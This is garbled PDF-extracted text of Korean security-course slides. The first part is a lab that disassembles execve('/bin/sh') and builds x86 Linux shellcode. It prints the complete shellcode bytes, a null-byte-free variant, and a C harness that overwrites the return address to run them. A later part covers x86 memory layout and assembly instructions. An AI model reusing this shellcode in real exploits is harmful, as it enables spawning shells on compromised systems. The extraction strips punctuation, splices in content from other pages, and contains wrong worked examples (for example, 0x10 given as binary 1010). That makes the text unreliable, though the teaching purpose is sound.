셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 16: 80×86  시스템에 대한 이해

16108

메모리의 기본 구조

스택 후입선출 (LIFO Last-In First Out) 방식에 의해 정보를 관리

Top 이라고 불리는 스택의 끝부분에서 데이터의 삽입과 삭제가 발생

가장 나중에 삽입된 정보가 가장 먼저 읽힘

80times86 시스템의 메모리

17108

메모리의 기본 구조

힙 프로그램의 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는

기억 장소영역 데이터를 저장하기 위해 기억 장소를 요청하면 운영체제는 힙에

존재하는 기억 장소를 프로그램에 할당 기억 장치가 더 이상 필요 없으면 할당

받았던 기억 장소를 운영체제에 반납 운영체제에서는 반납된 기억 장소를 다시

힙에 돌려줌 힙에 대한 기억 장소는 포인터를 통해 동적으로 할당되거나 반환

연결 리스트 트리 그래프처럼 동적인 특성이 있는 데이터 구조에서 널리 사용

데이터 세그먼트 초기화된 외부 변수나 static 변수 등이 저장되는 영역

보통 텍스트 세그먼트 (Text segment) 와 데이터 세그먼트 영역을

합쳐 프로그램이라 한다

80times86 시스템의 메모리

18108

메모리의 기본 구조

BSS 세그먼트 초기화 되지 않은 데이터 세그먼트 (Uninitalized data segment) 라고

불리며 프로그램이 실행될 때 0 이나 NULL 포인터로 초기화

외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장

데이터 세그먼트 CPU 에 의해 실행되는 머신 코드가 있는 영역

80times86 시스템의 메모리

19108

메모리 접근 모드와 동작

실제 모드 8086 CPU 에서 사용되던 동작 모드

20 비트 주소 버스 사용 위해 16 비트 레지스터 사용

총 1MB(220 =1048567) 의 메모리 사용 가능

20 비트 주소를 나타내기 위해 세그먼트 레지스터를 도입

[ 그림 2-8] 과 같이 16 비트의 세그먼트 레지스터와 16 비트의 오프셋을

중첩시킨 20 비트의 물리 주소를 생성

80times86 시스템의 메모리

20108

메모리 접근 모드와 동작 세그먼트 주소인 CS 레지스터가 0x2525h 오프셋인 IP 가 0x95F3h 면

0x2525h 뒤에

한 자리의 0x0h 를 붙여 95F3h 를 더한 2E843h 가 실제 가리키는 물리 주소가 됨

2525h 95F3h 또는 [CS]96F3h 로 표현 하나의 세그먼트에 64KB(216 =65536) 의

메모리 사용

[ 표 2-6] 세그먼트 레지스터별 기본

오프셋 레지스터

80times86 시스템의 메모리

세그먼트 레지스터 오프셋 레지스터

CS IP

DS SI DI BX

SS SP BP

ES SI DI BX

21108

메모리 접근 모드와 동작

보호 모드 80286 부터 도입된 보호 모드 (Protected Mode) 는 32 비트 CPU 80386 에

완성 32 비트 주소 버스를 통해 4GB 의 메모리를 사용 가능 메모리 보 호

기능과 페이징 (Paging) 등을 통해 가상 메모리를 효율적으로 구현

세그먼테이션 (Segmentation) 과 페이징 이용 메모리 관리 세그먼테이션은

4GB 의 메모리를 세그먼트 단위로 쪼갠 것으로 여기서는 16 비트의

셀렉터와 32 비트의 오프셋을 이용해 4GB 범위의 32 비트

선형 주소 (linear address) 를 만듬

80times86 시스템의 메모리

22108

어셈블리어의 구조 Intel 문법과 ATampT 문법이 있다 윈도우에서는 Intel 문법 사용 리눅스에서는 ATampT 문법 사용 Intel 문법에서는 목적지 (destination) 가 먼저 오고 원본 (source) 이 뒤에 위치 ATampT 에서는 반대 Intel 문법에서 어셈블리어의 명령 형식은 다음과 같다

어셈블리어의 기본 문법과 명령

Label MOV AX BX comment 라벨 작동 코드 제 1 피연산자 제 2 피연산자 설명

23108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

데이터 타입bull 바이트 (Byte) 1 바이트 (8 비트 ) 데이터 항목bull 워드 (Word) 2바이트 (16 비트 ) 데이터 항목bull 더블워드 (Doubleword) 4바이트 (32 비트 ) 데이터 항목

어셈블리어의 기본 문법과 명령

24108

어셈블리어의 데이터 타입과 리틀 엔디언 방식

리틀 엔디언 방식 2 개의 번지로 나누어 저장해야 하는 16 비트 데이터 (워드 ) 의 경우

하위 바이트는 하위 번지에 상위 바이트는 상위 번지에 저장

예 ) hex 값 0x34F3을 1500 번지에 저장하려면 하위값 0xF3 은

1500 번지에 상위 값 0x34 는 1501번지에 저장

어셈블리어의 기본 문법과 명령

25108

어셈블리어의 주소 지정 방식 레지스터 주소 지정 레지스터의 주소 값을 직접 지정 복사 처리 속도 가장 빠름

직접 메모리 주소 지정 가장 일반적인 주소 지정 방식 보통 피연산자 하나가 메모리 위치를 참조하고 다른 하나는 레지스터를 참조

( 예 )DS[8088h] 와 DS[1234h] 는 각각lsquo세그멘트 오프셋rsquo형식의

메모리에 직접 접근하는 방식

어셈블리어의 기본 문법과 명령

MOV DX BX

MOV AL DS[8088h]MOV DS[1234h] DL

26108

레지스터 간접 주소 지정 lsquo 세그멘트 오프셋rsquo형식을 사용

다음과 같이 기본이 아닌 세그먼트를 강제로 지정 할 수도 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX] MOV AL [BP]

MOV AL CS[BX] MOV AL DS[BP]

27108

인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

